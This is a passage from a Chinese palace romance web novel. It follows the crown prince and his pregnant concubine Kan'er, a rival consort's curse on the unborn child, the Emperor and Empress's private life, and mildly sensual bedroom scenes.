脑海里蓦地冒出几幕不合时宜的画面,明显就是他曾经做过的那个梦。
骆峋:“……”
简直荒唐。
书房乃读圣贤书,处理公务的庄严之地,如何能用以儿女情长,甚至行那等事?
反正他不会在书房和她……
“殿下,张嘴。”
轻柔的声音拉回太子爷的思绪,他下意识启唇,一颗汁水甘甜的葡萄被送入口中。
唇瓣不小心碰到她的指尖。
骆峋身子一绷。
槛儿的脸一红,收回手继续捻起一颗。
剥了两下,她抬头看向太子那边,清亮的眸子里似浸着一汪春水,纯净又勾人。
骆峋与她对视。
眼神很淡,咀嚼葡萄的动作也很轻。
槛儿看着这样的太子,脑海里不由自主浮现出上辈子和他在书房荒唐的情形。
当时她确实存了引诱之心。
打着送葡萄的名义。
谁料白日里向来克己复礼的太子不知什么时候跟谁学了那样的手段,非叫她把自己端来的葡萄吃了。
还是那样的吃法。
当天怎么走出书房的槛儿都不记得了,只
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记得他握着她的腿,弯下腰……
槛儿暗暗摇头。
使劲把脑子里那些不入流的画面甩开。
骆峋发现小昭训的面颊突然染上一层胭脂薄粉,鸦睫盈盈轻颤,娇红的小嘴抿得紧紧的,也不知是想到了什么。
前朝刚发生了事,骆峋自然没有要和她做什么的心思,且她也不方便。
但,有孕之人情绪或不稳定。
骆峋拿手帕拭去唇上的果汁。
海顺很有眼色地示意一旁的小太监,把刚刚端进来的水端过来供太子净手。
槛儿就以为太子是不喜被她喂,要自己拿着葡萄吃,于是等太子擦干手。
她把刚剥好的一颗递过去。
哪知太子却没接。
而是握住她的手腕,示意她到他那边。
槛儿起身走过去。
太子爷稍微挪了挪位置,遂示意她坐到小几前,然后他自己侧过身,伸手从小几上的瓷碟中捻起一颗葡萄。
双手呈环着槛儿的姿势,亲自剥了起来!
槛儿:“……”
行吧。
他不嫌热,那就这么抱着剥吧。
槛儿把刚刚剥的那颗喂他。
太子面无表情地吃了,之后把他剥的喂到等槛儿嘴边,声音冷冷淡淡:“吃。”
不知道的当他在逼人吃什么难以入口的东西。
“谢谢殿下,”槛儿含住葡萄,极力稳住情绪,看着近在咫尺的冰冷俊脸轻笑道。
骆峋看她一眼,剥葡萄的动作没停。
两位主子蜜里调油,海顺观察了几息,转身领着屋里的宫人默默出去了。
槛儿看到了,拿起团扇慢悠悠给两人扇风。
也不知太子怎么想的,槛儿刚把口中的葡萄咽下去,他又剥好一颗送到她嘴边。
如是循环反复。
连着吃了六七颗,槛儿吃不下了。
骆峋也不强迫她,自己吃了。
吃完拿起小几上托盘里的湿巾子擦擦手。
槛儿站起来,刚要说个什么,她突然想起一件事,嘴角的弧度不禁收了起来。
骆峋有所察,看向她。
槛儿静默片刻,神色认真严肃道:“殿下,有件事妾身忘记同您说了。”
骆峋:“说。”
槛儿没有迟疑。
“妾身昨晚,叫银竹教训了姜侧妃一顿。”
第93章 是谁?!是谁咒他们东宫的小主子!
骆峋将巾子放回托盘里,对槛儿的话似乎并不意外,面不改色道:“嗯,为何?”
槛儿知道银竹把昨晚在小院发生的事报给他了。
银竹是太子的人,保护她是职责所在,有什么事要上报合情合理。
槛儿不觉得有何不可。
只不过银竹应该不清楚,当时她和姜侧妃之间的具体对话是什么。
若不然以姜侧妃那等大逆不道之言,从昨晚到今天银竹不可能那么平静,太子此时也不会是这种反应。
这么想着,槛儿便没藏着掖着。
“姜侧妃觉得妾身端午那天是故意当众不给她脸,恼上妾身了,要妾身道歉。
也是妾身当时心思不够缜密,顺势接了瑜郡主的话,没察觉到姜侧妃的处境。
不过昨晚听姜侧妃重提此事,妾身倒觉得妾当时没有刻意向姜侧妃解释,于姜侧妃而言反倒是好事。”
骆峋示意她继续说。
槛儿:“当时在场的人多,在外人看来瑜郡主所言兴许只是一句孩童稚语,妾身若把瑜郡主的话放在心上。
还为此特意向姜侧妃解释说明,不仅会显得妾身小家子气,也会让姜侧妃被旁人以为心眼儿小。
这么一来岂不反倒对姜侧妃不好?所以妾身觉得自己当时没有做错。”
骆峋的确听银竹报了此事。
他不用想就知姜侧妃因何寻她麻烦,却是不知对方究竟说了什么惹恼了她。
此时听槛儿主动说起这事。
骆峋看着她尤为凝重的表情,顺势问:“她如何为难你了,详细与孤说。”
“她敢说,妾身却不敢重述,”槛儿深吸一口气,眼眶突然泛起红来。
骆峋:“恕你无罪。”
除了姜侧妃说她为重生之人的部分,其余内容槛儿打算告诉太子实情。
一则孩子是她与太子两个人的,有事合计着来很正常,当爹的保护孩子也是常理。
二则。
姜侧妃昨晚说的那些话在任何一位做过母亲的女子听来,怕是都不大可能受得住。
更别说是犯了皇家大忌,更是犯了她的大忌,槛儿不可能只让对方伤腿吃屎便算了!
且看姜侧妃那架势,日后必定会再找她麻烦。
若就此放任不管,等以后孩子出生了,难保姜侧妃不会再生出什么事端。
既如此,那就先下手为强!
深吸一口气,槛儿的声音像似从喉咙里挤出来一般:“她诅咒这个孩子。”
“她说,孩子在元隆二十五年二月初三,溺亡于井,时年四岁。”
上辈子如此,这辈子不会了。
不管是曜哥儿还是两个小的,这辈子她绝对会护好他们。
绝对!
海顺与瑛姑姑在外面厅堂里候着,正有一搭没一搭地小声闲聊着,书房内忽地传来一阵碗碟碎裂之声。
动静算不得大,二人只当是装葡萄的瓷碟儿被主子们不小心碰摔了。
海顺就先探了个头进来。
哪知这一看可不得了。
放葡萄的粉彩釉小碟倒确实摔碎了,剩下的葡萄咕噜噜滚得四处都是。
但问题是宋昭训眼眶通红。
太子面沉如水。
两人互相看着,似是在争锋相对。
海顺心里一“咯噔”。
瑛姑姑探头看了,还当是自家主子和太子起了什么争执,脸顿时白了。
刚过来的寒酥跳珠见状也立马被激起了一身冷汗,犹豫着要不要跪。
海顺给她们使个眼色,小心翼翼地进屋,绕过碎裂的瓷碟来到太子身侧。
“殿下……?”
骆峋没搭理他。
只继续看着槛儿,幽冷的眸子深得不见底,似顷刻间就要掀起惊涛骇浪。
槛儿没有被他的眼神吓退,语气前所未有的郑重:“妾身被刁难没有关系,但她不该牵扯上妾身与您的孩子。”
“妾恳请殿下做主!”
说罢,她后退一步要行跪拜大礼。
一只大手将她捞了起来。
海顺的心直突突,惊骇的同时怒从中来。
谁?!
是谁咒他们东宫的小主子?!
不等他开始怀疑人选。
就听太子的声音冷得仿似万年寒冰:“即刻叫人到宣王府传话,让宣王带着他那姓姜的侧室滚来见孤!”
“殿下且慢。”
槛儿慎重道。
她想让姜侧妃付出代价不假,但姜侧妃和宣王府绑在一起,若就这么公开叫宣王带人进来,元隆帝必知。
诅咒储君子嗣,涉及谋危社稷的重罪。
真叫元隆帝知道了,宣王和宣王妃以及宣王府的属官都难辞其咎。
信王、荣王、睿王刚被贬斥、幽禁,这个节骨眼上宣王府绝不能再有事。
否则就算信王三人的事元隆帝没有证据证明是太子所为,但等宣王的事一发。
太子在元隆帝和外人眼里都会落得个不念手足之情,刻薄寡恩的罪名。
当然,这些话槛儿不能直说。
她只提了一句:“陛下那边……”
骆峋和槛儿几乎前后脚想到这其中种种关节,他眼里的冷厉翻涌。
稍顷。
骆峋捏捏槛儿的手以作安抚,对海顺道:“不必了,过些时日孤先见宣王。”
海顺松了口气。
这回信王和睿王同时出事。
猜测太子的人自然不少,但有荣王这个意外在,外界**就还算可控。
可若连宣王也要牵扯出来。
那就弄巧成拙了。
闹了这么一场,书房自然不待了,两人移步到卧房简单洗漱上了榻。
当然没做别的。
两人共搭着一条薄毯,骆峋的手放在槛儿腹部摸了摸:“可有受惊?”
“没。”
槛儿靠着他的肩头,轻声道。
“殿下不是在恼妾,妾身不怕。”
骆峋“嗯”了声。
沉默片刻,他道:“今后若逢上事,也要像今日这般同孤说,不得有隐瞒。”
槛儿:“好,妾身跟您说。”
上辈子她胆小不顶事,以为他冷得丝毫不近人情,便什么都不敢跟他讲。
这辈子他们都变了。
为了她自己,为了孩子,也为
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了他们一家,她会尽量不再让他们之间生龃龉。
姜侧妃说要向太子告发她是重生的。
那她尽管告发好了。
只要她誓死守着这个秘密,只要她没有做有害东宫,有害太子的事,只要她不触碰太子的底线和律法。
她便用不着怕什么。
姜侧妃的口不择言。
到最后,只会给她自己招来祸事!
.
坤和宫。
裴皇后将手中的木棍扔给一旁的小太监,回内室脱下一身汗湿的劲装。
裴皇后早年嫁给元隆帝前曾随老国公上战场立过军功,还是王妃时亦随当时还是王爷的元隆帝出过征。
后来虽成了皇后,不得再轻易出宫,但裴皇后并未因深居高墙之中便郁郁不得志。
用她的话说便是。
将军保家卫国,皇后母仪天下,前为护国,后为安邦,皆是为天下黎民社稷。
不过是战场不同罢了。
因着这样的心态,裴皇后身上那股将门之女的铮铮英气和蓬勃之力一直都在。
现在她都五十多了,每晚也要练上半个时辰的功,一年四季雷打不动。
“娘娘。”
碧荧掀开珠帘进来,禀道。
“已经叫人把魏嫔娘娘送回景祥宫了。”
裴皇后大刀金马地坐在椅子上,由冯嬷嬷替她扇着风,闻言问:“还在闹?”
魏嫔先前是贵妃,还是极为受宠的贵妃,因此整个万春宫都是她在住。
如今降了位份,宫室自然也要挪。
嫔这个位份正殿能住,偏殿也能住。
眼下各宫的主位都有人,只有景祥宫的西配殿空着,裴皇后就下了令,让魏嫔挪去景祥宫西配殿。
今日就搬走。
这对魏嫔来说,简直比杀了她还难受!
得宠了近三十年。
一朝从正一品的贵妃降成正六品的嫔也就罢,现在连自己住了几十年的家都要让出来,魏嫔简直要疯了。
更别说她的儿子还从亲王成了庶人,被幽禁在一个逼仄狭小的院子里。
魏嫔今儿从早哭到晚。
她生得纤瘦,楚楚可怜,哭起来梨花带雨。
从前只要她哭,她说哪里不舒服,便总能把元隆帝从别的妃嫔处截胡过来。
今儿魏嫔就想故技重施。
想让元隆帝对她生起怜惜之情,准许她不挪宫,顺道再为儿子争取争取。
可惜。
她连靠近乾元殿的机会都没有。
魏嫔没办法,又来求裴皇后。
但她也不想想,当年就是她设计害了太子,若非一直没有实质性的证据。
裴皇后如何会容她到现在。
因此对于魏嫔的哭诉,裴皇后一个眼风都没给就叫人把她往景祥宫送了。
“是在闹,不过她闹了一天声音都哑了,也没用膳进水,走到半路就晕了,奴婢已经叫人请了太医。”
碧荧如实答道。
裴皇后了然地点点头。
歇了近一刻钟,她起身往浴间走。
这时,外间响起熟悉的动静。
是元隆帝来了。
第94章 太子只能吃素,“朕摘了他脑袋!”
“要沐浴?”
元隆帝步进来。
和刚走到门口的裴皇后撞个正着,见妻子只着了身中衣,元隆帝随口问道。
裴皇后应了一声,见他身上还穿着朝服,她道:“水备好了,陛下要不一起?”
元隆帝嗅了嗅胳膊,嫌弃地皱皱眉。
“一起,一起一起。”
裴皇后三下五除二地替他摘下发冠,褪了外袍,最后元隆帝把鞋袜一蹬。
赤着脚和裴皇后进了浴间。
夫妻俩一起沐浴自然没有让人伺候的习惯,两人隔着一扇屏风各自冲洗。
拿香胰子抹身时,元隆帝忽然道:“明日她若再来闹,就让她今后不必出来了。”
裴皇后坐在小杌子上抹香露,闻言头也不抬:“我怕先心疼的是陛下。”
元隆帝不明意味地笑了声。
裴皇后懒得管他在笑什么,拿着香露绕过屏风让他帮忙给她后背也抹上。
“既是陛下开了口,那明日我便遵旨了。”
“嗯。”
元隆帝替她抹好香露,又顺手给裴皇后搓了搓背,也把香胰子递给她。
夫妻俩就这么相互搓了会儿背。
搓完拿温凉水哗啦啦一冲。
收拾完上了床,屋里只留一盏灯,冯嬷嬷和全仕财领着一屋子宫人悄声退下。
安静了会儿。
裴皇后望着帐顶道:“您今晚还有心思来后宫。”
元隆帝:“你这儿不是后宫。”
裴皇后没接这话,忽然坐起来唤碧烟。
“做什么?”元隆帝问。
裴皇后:“晚上叫御膳房擀了面,昨晚您不是没吃吗?时辰还早,叫他们下面去。”
说话间,碧烟进来了。
裴皇后叫她让人跑一趟御膳房,让他们把面煮了,还是按往年的老样子来。
所谓老样子,就是元隆帝每年生辰当晚,都会来裴皇后这里吃一碗长寿面。
香菇火腿丝的浇头。
外加一个九分熟煎蛋,几根青菜。
这习惯自他们订婚便有了。
彼时元隆帝刚封王开府,十六岁,裴皇后还是康国公府的嫡出大姑娘,芳龄十三。
晃眼四十余年过去。
年年元隆帝的生辰都是如此,即便当天有事耽搁,第二天裴皇后也会给他补上。
反之,裴皇后的生辰亦是如此。
明明就是一碗普通的面。
元隆帝坐起来,定定看着妻子。
裴皇后:“您不想吃?不吃我吃。”
元隆帝愣了愣。
旋即道:“谁说我不吃?今儿一天都没怎么吃东西,我不但要吃,我还要吃两碗!”
“哪有长寿面吃两碗的,晚上吃太多也不消化,陛下要想吃面等白天了再叫人做就是。”
裴皇后笑道,浅黄的烛光模糊了她眼角的细纹,让她瞧着比白日里更显年轻。
元隆帝看着,忽地握住她的手拍了拍。
“陪我吃。”
“嗯。”
裴皇后点点头,没再说话。
她知道,昨晚的事他心知肚明。
陈家姐弟不过是一介普通茶户之后,单凭他二人怎么可能能与信王、荣王、睿王都搭上关系,还不被发现。
可那又如何呢?
他知道又如何?
是他先有的那么多女人,生的那么多孩子,是他先食言,猜忌他们的儿子。
她已经为他失去过两个孩子,甚至太子也曾险些没了,她不可能再隐忍不发。
如果有朝一日,他真要对太子不利。
裴皇后想,她大概会……
“别想太多。”
男人的声音从旁边传来。
裴皇后看过去。
元隆帝揽住她的肩将人抱住。
“你担心的事不会发生。”
裴皇后担心的事是什么,他没说明,又为什么不会发生,他也没说清。
裴皇后听了一耳朵,并没有放在心上。
不过,适才横亘在夫妻二人之间那股莫名的气氛,倒是因为元隆帝的话没了。
裴皇后转而说起别的事。
说着说着,她想起另一事。
“陛下,您还不知道?”
元隆帝:“什么?”
裴皇后坐直身。
“喜讯,东宫的喜讯,执牧要当爹了。”
执牧是太子的字。
元隆帝“刷”地挺直腰杆。
眼神先是怔,再是惊,最后变成欣喜,“什么时候的事?是老六媳妇,还是哪个妾?”
他从昨晚起便被各种事缠身,及至现在连半个时辰的觉都没睡。
全仕财也忙前忙后的,估计把这事忘禀了。
裴皇后被丈夫的反应逗笑,
“太子妃替他挑的那个小昭训,半夜要回去时给诊出来的,说是才刚两个月。”
昨晚槛儿出现在琼苑的理由对外和宣王妃、荣王妃她们一样,都是逛园子逛到一半被送到那边去的。
昨晚的局是她和太子联手设的,但让裴皇后始料未及的是,太子竟在前朝宴席和御花园之间往返了一趟。
还是在那么短的时间内。
太冒险了。
不过小昭训怀着身子遇到那样的事,还是因为东宫和外界的争斗被卷入其中。
裴皇后倒也能理解儿子。
元隆帝连儿子的那个昭训都没见过,自然不在意槛儿的喜脉在哪诊出来的。
他摸着胡子,朗笑几声。
“老大不小了,是该有子嗣了,之前他还同我说他的子女缘没到,这不就到了?”
太子卷入后宫之争那年恰逢元隆帝南巡,因着当时没证据把魏嫔揪出来,之后裴皇后便没将此事告诉元隆帝。
其实也是留后手。
自古以来做皇帝的,不论年轻时如何雄才大略,晚年也难免不会有昏聩的时候。
元隆帝不昏聩。
但近几年他对东宫的冷待是事实,如此也证明裴皇后当初的决定是对的。
就是不清楚。
元隆帝是真不知太子的病还是假不知了,他没提起过,裴皇后便当他真不知。
“他性子冷您又不是不知道。”
裴皇后摇着团扇道。
元隆帝哼笑。
“再是性子冷年纪也摆在那,他后院里的人还是母后在世时为他挑的。
这么几年都没消息,那小昭训才多久就有了喜讯,我看还是他没看中母后给他挑的人,这个他自己看上了。”
话是这么说。
元隆帝这会儿心情倒是真的好。
别看他近几年对东宫确有疏离,但再怎么都是自己一手带大的儿子。
还是个奶团子的时候就被他抱来抱去,后来又亲自教他读书**字、练武。
父子俩同吃同住,如此怎会不心疼。
如今元隆帝想明白了一些事,最疼的儿子有了子嗣,他不由发自肺腑感到高兴。
“好事,当赏!你赏了?”
裴皇后:“没呢,还没来得及。”
“那就明日,明日你赐些赏过去,顺便让其他人知道这事,太子的头一个子嗣,谁敢动旁的心思,朕摘了他脑袋!”
.
连着两天一夜没睡。
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骆峋这一觉难得睡得很沉,若非要去工部上值,他觉得自己还能再睡上大半天。
可惜,还没到休沐的时候。
屋中掌起了灯,怀里人睡得正酣。
骆峋动作轻缓地半撑起身子,徐徐将自己的胳膊从槛儿的颈间抽出。
感觉到槛儿后颈的汗意,他拿帕子给她擦了擦,又将搭在她腰上的薄毯扯了扯。
天热,她现在夜里都不穿小衣了。
薄如蝉翼的淡青色绫纱寝衣贴着玲珑有致的身子,其下白皙莹润的肌肤若隐若现,犹可见身前丰腴似雪兔衔桃。
骆峋之前从未想过,自己有朝一日竟能在掌灯的情况下窥见到如此美景。
前些日子忙,来她这里也并未行事,自然未曾真正目睹此番美景之真容。
如今她有孕,骆峋更不可能有别的想法。
在槛儿红润的面颊上轻碰了碰,他忽视腰腹之下熟悉的异样翻身下榻。
槛儿醒来时天已大亮。
不用去请安,她乐得清闲。
用了早膳趁清晨凉爽,她去后面小花园逛了逛,回来时在院门口碰上了庞嬷嬷。
所以说,这人的际遇有时还真说不准。
谁能想到曾经畏畏缩缩在后院做杂役,谁都能上去踩一脚骂一嘴的低等奴才,如今却是如此得太子的青睐呢。
连有孕在身,都能让太子留宿。
反正庞嬷嬷当初是没想到。
不过,她也没因此就上赶着奉承槛儿。
妾终归是妾。
奴才出身的妾就只是个暖床玩意儿,再是有宠也越不过她家主子去!
抱着这样的想法。
庞嬷嬷进院给槛儿送赏时看似态度恭敬,实则字里行间带着一丝倨傲。
只到底是管事嬷嬷,做起事来还是有两把刷子,明面上叫人挑不出错。
槛儿便笑着配合对方演。
等嘉荣堂的人把赏的东西放进屋,庞嬷嬷转述完郑明芷的话领着人要走。
这时,坤和宫来人了。
来的是裴皇后身边的掌事大太监,马尚富。
此人一来先跟槛儿问了好。
那态度,可比庞嬷嬷这个太子妃身边的管事嬷嬷亲和友善多了,看得庞嬷嬷在一旁老脸青一阵白一阵的。
不过这会儿没人管她。
马尚富宣读了裴皇后的旨意。
大致便是太子昭训宋氏有妊,实乃皇家之喜,社稷之福,皇后娘娘心甚慰。
特赐恩赏,祈皇嗣安康云云。
然后一长串赏赐。
有赤金嵌宝玉如意两柄,贡缎四匹,官窑百子千孙图花瓶一对,苏绣莲花童子帐幔一副,上等雪燕一匣等等。
此外等槛儿接了旨起来。
马太监侧身,让一个生得圆脸细目,面庞白净,身形敦敦实实的嬷嬷上前。
“这是周嬷嬷,精通妇人妊娠之事,娘娘说了,宋昭训有孕期间便由她在跟前伺候,昭训有事尽可吩咐便是。”
不得不说,裴皇后考虑得很是周全。
瑛姑姑虽说是在广储司做过小管事,很多事情都清楚,当差也是干净利索。
但瑛姑姑没生养过,也没有照看有孕妇人的经验,这方面自然便欠了火候。
裴皇后送来这么一个人,刚好补了这个缺,可谓解了槛儿的燃眉之急。
槛儿又对着坤和宫方向拜谢一番。
事情办妥,马太监没有久留,同槛儿招呼一声后带着一行人浩浩荡荡地走了。
庞嬷嬷也跟着走了。
等马尚富一行人拐弯,她的老脸一拉!
第95章 调戏太子?“殿下生得俊,妾身看呆了。”
“我就说她是借那小蹄子作椽子跟我过意不去,如今竟是连装都不装了。”
听完庞嬷嬷的回禀,郑明芷低声嘲讽道。
“越过正牌主母儿媳直接给儿子的侍妾赐赏,这种没品的事也亏她做得出来。”
老虔婆!
庞嬷嬷凑到她家主子耳边,很小声说:“按说咱们确实该送个人过去照看,只昨儿事太多,谁也没想起这一茬。
娘娘送人过来倒是替您解决了一桩事,奴婢担心的是那位有别的想法,若不然这么关心一个低等侍妾做什么?”
郑明芷看向她。
“你是觉得,她在抬举那贱婢?”
庞嬷嬷点头。
郑明芷磨牙,很快却又笑了。
“她抬举那贱婢做什么?当初要找人给嘉荣堂生孩子,可是太子和那边应允了的,他们想反悔也得有那个脸。”
重要的是。
她不觉得那小蹄子有被抬举的价值,便是将来孩子大了,估计也会为自己有这么一个奴才出身的生母而羞耻。
庞嬷嬷琢磨片刻,继续耳语:“这么一来,要把胎儿喂大的计划就行不通了。”
“不急。”
郑明芷端起茶盏抿一口。
“还有的是时间,有人会先跳出来。”
.
傍晚骆峋下值回来。
听说母后给槛儿赐了赏,太子爷后知后觉自己还尚未有所表示,便立时叫海顺跑一趟他的库房把事儿办了。
于是,这晚太子人没来后院。
送给宋昭训的赏却是堆满了院子,阵仗大得传到各处自又是一番震惊不提。
海总管办好差回去复命。
太子面无表情地颔首。
他近期有的忙,顾不上去后院,这些赏赐应够她保持一段时日的好心情。
槛儿的心情确实很好。
自然不仅仅因为得了这么多赏,主要还是她心态好,每日都能自己给自己寻乐子。
加上肚里的孩子没闹腾。
一个月下来槛儿非但没憔悴什么,反而胖了些许,脸蛋圆润润红扑扑的。
愈发娇艳得跟朵花儿似的。
被派来照看她孕期日常的周嬷嬷都吃了一惊,暗道每日的膳食分明不少也不多。
这位宋昭训竟也能胖!
关键气色那叫一个好,她伺候过好些有孕妇人,这种情况还是头一回见。
不过,如此倒省了不少事。
康健总比去半条命来得叫人安心。
而在这一个月里,东宫有喜的消息也相继在后宫与前朝之间传开了。
只不过,槛儿只是低阶侍妾。
即便怀的是东宫的第一个子嗣,众人也只会为东宫终于有了好消息而庆贺。
除了裴皇后及各府王妃等知情者,外界其他人对槛儿本人都并未关注。
几个王府陆续礼节性给东宫送了贺礼,郑明芷做主都送到了槛儿院里来。
以防万一,槛儿没有查看这些东西,交给瑛姑姑和周嬷嬷打理了。
这一个月里,万寿节当晚宫中的动荡以及次日元隆帝连下数道圣旨的事,在当时的确引起了朝野震动。
尤其信王与原睿王党的人,这些人明面上自是不会表明自己的立场。
但趁机断尾自保、祸水东引、浑水摸鱼、散布谣言者不知凡几,某些自诩清流的文官甚至不惜当廷对骂互喷起来。
皇帝一日罚三子,御史自然不能不言。
便有人对元隆帝的旨意持反对态度,觉得元隆帝此举动摇了宗室之根。
更有甚者长跪奉天门哭谏。
或直言质问此事是否与东宫有关,太子是否有残害手足之嫌,或拿先帝来压元隆帝。
对此,中宫一系表现得皆为忿忿,几个御史最后被元隆帝打了板子不提。
总而言之,由此事引发的动荡在朝中持续了近半个月,之后不久众人便自觉对这件事讳莫如深了。
而太子这一个月里除了配合朝臣们演戏,他在工部的差事也是相当忙碌。
譬如节前为避免触霉头,地方官府及工部会有意将一些棘手的问题压下,节后这些文书就一并报了上来。
涉及到某些工程险情、延误、由工程引发的劳役**问题等等,都要尽快处理。
这些文书奏报就需要两名司务和太子一同审阅,再一层一层呈报上去。
另外节前修缮宫苑,建彩楼、灯会,以及京城内外各个地方修路补渠花的银子。
前期都是找户部预支的,现在要具体核算,每日都有大量的单子等着批,而此阶段最是容易出贪腐虚报之事。
早先太子没来工部时,负责审批两名司务每逢这种时候都是一个头两个大。
就怕一不小心出纰漏,回头各种麻烦。
如今有太子在。
别说他们,就是整个工部的人都觉得压力小了不少,都想着横竖有太子在,工部的天塌下来也有太子顶着。
当然,这种想法没人敢表现出来。
可衙署里每天当值的官吏那么多,大伙儿之间的气氛或多或少能看出来啊。
为此,许仲谦发了好一通火。
寻了个太子没在的机会把工部的人都叫到跟前,劈头盖脸地骂了一顿。
元隆帝知道了这事倒是没说什么,只把太子叫到跟前,问了些他在工部的事。
骆峋知道父皇在考他。
他对答如流,亦没有旁的念头。
因为他知道不光是他。
信王、睿王、慎王之前刚开始当差时,他们所在的衙署里也存在这种情况。
他们是皇子,本身便拥有特权。
相应的也该担起很多事,寻常人觉得能将他们当作倚仗这样的想法乃人之常情。
身为太子,骆峋不会轻易动怒,但若有人仗他的势胡作非为,他亦绝不姑息。
因着这种种事务。
骆峋从七月初一直忙到七月底,除中间两次休沐他有去看槛儿外,其他时候基本都是处理公务到半夜。
于是。
等月底休沐这晚他来看槛儿时就发现,她原先平坦紧实的小腹能摸到一点不是很明显的,微微隆起的弧度。
其实三个月的身孕大多妇人还看不出来,可能只会自己觉得小腹有收紧感。
但有一种情况除外。
那便是女子本身腰身纤细,腹部平坦,如此某些细微变化便也能有所察觉。
槛儿便是这种。
她的肉都长在该长的地方,该丰的地方丰,该纤的地方纤,身姿窈窕婀娜。
这么一来,小腹处的变化就很容易感觉到。
“殿下可有觉出有何不一样?”
夜里上了榻。
槛儿把太子的手放到小腹处,柔声问。
骆峋感受一番,“嗯。”
槛儿抬手向他比划。
“周嬷嬷说这时候的胎儿好比那种大李子和黎檬子大小,您觉得是李子还是黎檬子?”
李子、黎檬子骆峋皆不喜。
酸。
不过他还是认真估摸了一下。
“二者之间。”
自然是不准的,毕竟隔着一层呢。
槛儿看着
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他清冷严肃的俊脸,没忍住笑。
说起来上辈子起初她对着这张冷脸只觉得威严无比,一眼都不敢多看。
甚至两人都亲近好多次了,她却只知太子生得俊,不记得具体怎么个俊法。
如今,瞧着太子用这般冷肃的神色估计腹中孩子的大小,槛儿只觉得好笑。
于是骆峋甫一低头。
就见她红着脸,眼儿里含着一汪春水,看似无比娇羞,眸子却直勾勾地盯着他。
还笑。
“笑孤什么?”骆峋绷着脸问。
槛儿油嘴滑舌道:“妾身没有笑您,妾身是感受到您对孩子的用心,觉得您以后一定是位好父亲,替孩子高兴呢。”
骆峋信她才怪。
环住她肩头的那只手往上抬了抬,轻轻捏她的下巴,冷声道:“胡言乱语。”
这种气氛下,槛儿并不怕他的冷。
抬手搂住他的脖子,从他怀里直起身子,接着转了身面对面地坐到他身上。
骆峋此时腰后垫着个靠枕半靠在床头,一条长腿支起,另一条随意放在榻上。
槛儿这一坐,便坐到了他腰腹间。
这样的姿势于太子而言可谓相当放肆,他们夜里那般时她都未曾在上面过。
颠龙倒凤。
成何体统!
骆峋的腹部本能地一绷,下意识握住她的腰要把人抓下去,顺便再申斥两句。
但他的手刚放到槛儿腰间。
她便熟稔地偎了过去,那双像似杏眼,但眼尾处上翘的弧度又比杏眼多了几分媚意的美目里含着娇羞笑意。
亮晶晶,水灵灵的。
像一只刚到人世的小狐精。
骆峋一对上,到嘴边的斥责不禁顿住。
想着适才气氛那般好……
也想起莫院判的话,有孕之人如何如何,可他又真心不赞同此举如何是好?
薄唇抿紧,骆峋又照着槛儿的后面拍一下。
“下回不得无礼。”
槛儿:“……”
槛儿是看准了气氛才有此动作的,但没想到太子会有此动作,还不得无礼。
槛儿暗暗撇嘴。
心道上辈子后面的那些年里也不知是谁总强行抱她在上面,说是那样……
槛儿没好意思想下去,顺势应了声“好”,趴在太子身上继续刚刚的话题。
“妾身可没有胡言乱语,殿下这么忙还抽时间来看它,怎么不是好爹爹呢。
妾今后要多与它讲些殿下的事,最好是生下来就认得爹爹娘亲,认得妾身和殿下。”
还说没有胡言乱语。
哪有生下来便认爹娘的。
骆峋哼笑了声,没有理会此等瞎说。
槛儿没看见太子笑,但听到了一声明显的短促鼻息,她不由抬头看向他。
太子净了发,这会儿一头缎子似的乌发用一根杏黄色的带子绑着,越过肩头垂在他的右侧胸膛上。
不同于白日里束发戴冠的威严冷峻,此时的太子身上多了几分不羁恣意。
这人生得俊。
从槛儿的角度刚好能看见他轮廓分明的下颌,修长有力的脖颈,宽阔的肩以及那颗鸽子蛋大小凸起的喉结。
嗯,滑动了两下。
“做什么?”
骆峋抓住那只意欲触碰他喉结的小手,说话间胸膛微微震动,清冷低沉的嗓音里夹杂着一丝微不可闻的喑哑。
槛儿怔了怔。
反应过来自己刚刚做了什么,她尽力稳住心神道:“殿下生得俊,妾身看呆了。”
太子爷:“…………”
第96章 太子爷:“禁房事,你再忍一个月。”
屋中静谧。
微弱的烛光弥漫过来,照得帐中一片朦胧。
槛儿躺得板板正正,没过多会儿,她扭头看向背对着她朝外侧躺的男人。
呃。
槛儿没觉得自己刚刚那话说得有何不妥,夸他俊呢,怎么就突然恼上了?
莫不是嫌她轻佻?
没道理啊,先前又不是没赞过他俊。
当时瑛姑姑他们还在呢。
也没见太子恼。
只是……
槛儿翻身,一点点往太子那边挪了挪。
随即手轻轻搭在他宽厚的肩头,身子自然而然地贴着他结实精壮的背。
“殿下……”
太子爷不为所动。
槛儿顺起他被发带松松束着的头发,拿鼻尖蹭蹭他的后颈,从后面抱住他。
安静了几息。
她假作低落,软声道:“是妾身忘形失言了,您大人有大量,莫要为妾身一时的错气坏了身子,若不您罚妾吧,妾不敢……”
话音未落。
背对着她的男人忽然有了动作。
看这架势,槛儿以为他要下榻,哪知下一刻他便折身过来按住了她的肩。
经过这一躺一起,太子寝衣上本就松散的系带彻底松了,前襟完全敞开。
槛儿被他笼罩在身下。
看不清他的肌理,但能清楚感觉到有源源不断的热意从他胸膛散发出来。
一种独属于男人的雄厚阳刚之气忽然在帐中散开,那双幽冷深邃的凤眸似燃着一簇幽火,静静地注视着她。
槛儿的心跳骤然加快。
“殿下,您……唔。”
骆峋衔住身下之人嫩生生的小嘴儿,带着一丝惩罚意味地咬她一口,再一口。
有孕,忌房事。
他还不至于在她这样的时候贪那个。
偏她不老实。
胆大地往他身上坐,抱他,贴着他,喉结这等关乎性命的重要部位她也敢碰!
愈发的不成体统!
他不想被她勾,也不想让她恃宠生娇,有意晾她一晾,故而提出就寝安置。
岂料她又贴上来!
太子爷有气,有意给槛儿一个教训。
槛儿没感受到太子的怒火,倒是感受到了另一种火气,且这股火气迅速通过太子的唇舌与呼吸过到了她身上。
说起来上一次他们行事还是在她伤暑之前,六月里太子第一次旬休那晚。
今日七月三十,也就是说他们快两个月没有过了,期间太子也没让别人侍寝。
槛儿不清楚太子其他时候是怎么克制这方面需求的,反正她还记得之前每回太子和她在一起时有多贪。
上辈子也是如此。
不做那事的太子清冷如山,一旦做起来就仿佛无休无止,有时她都睡醒了……
感受着太子的紧绷和自己被撩动的火气。
槛儿迟疑片刻。
一只手搂住太子的脖颈,一手揪住他的衣襟,将那碍事的寝衣撩得更开。
然后探上他的肩。
以掌心描绘那健硕匀称的肌肉线条。
肩背、胳膊、小臂,以及散发着滚滚热意精壮鼓胀的胸膛、窄劲有力的腰腹。
骆峋浑身紧绷,手亦无意识在槛儿身上逡巡,已然忘了要教训怀中之人的事。
突然。
